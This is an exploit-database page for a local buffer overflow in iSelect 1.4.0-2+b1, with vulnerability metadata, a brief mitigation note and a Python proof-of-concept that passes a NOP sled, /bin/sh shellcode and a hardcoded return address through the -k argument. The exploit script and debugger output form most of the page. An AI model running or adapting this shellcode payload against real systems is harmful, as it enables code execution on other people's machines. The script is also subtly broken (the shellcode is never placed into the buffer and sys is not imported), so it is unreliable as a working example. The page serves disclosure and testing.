Exploit iSelect - Local Overflow Exploit

vendor:

iSelect

by:

Juan Sacco

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: iSelect

Affected Version From: 1.4.0-2+b1

Affected Version To: 1.4.0-2+b1

Patch Exists: Yes

Related CWE: N/A

CPE: a:ossp:iselect:1.4.0-2+b1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux 2.0 x86

2020

Exploit iSelect – Local Overflow Exploit

iSelect is an interactive line selection tool, operating via a full-screen Curses-based terminal session. This exploit is a proof of concept (without Fortify) that uses a buffer overflow to execute arbitrary code. The exploit code creates a buffer of 1024 bytes, with 30 NOPsleds, followed by the shellcode and the EIP address. The exploit then calls the iSelect binary with the -k argument, passing the buffer as a parameter.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of iSelect, which is not vulnerable to this exploit.

Source

Exploit-DB raw data:

# Exploit developed using Exploit Pack v7.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: iSelect
# Affected value: -k, --key=KEY
# Version: 1.4.0-2+b1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: ncurses-based interactive line selection tool
# iSelect is an interactive line selection tool, operating via a
# full-screen Curses-based terminal session.

# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
# Website: http://www.ossp.org/pkg/tool/iselect/

# Where in the code:
#7  0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc "1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199 times>..., destlen=1024) at strcpy_chk.c:30
#8  0x0804bfaa in ?? ()
#9  0x0804914d in ?? ()
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2, argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291


# Exploit code: Proof of Concept ( Without Fortify )
import os, subprocess

def run():
  try:
    print "# iSelect - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 1024
    nopsled = "\x90"*30
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x08\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["iselect -k=",'', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, iSelect binary - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit iSelect -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()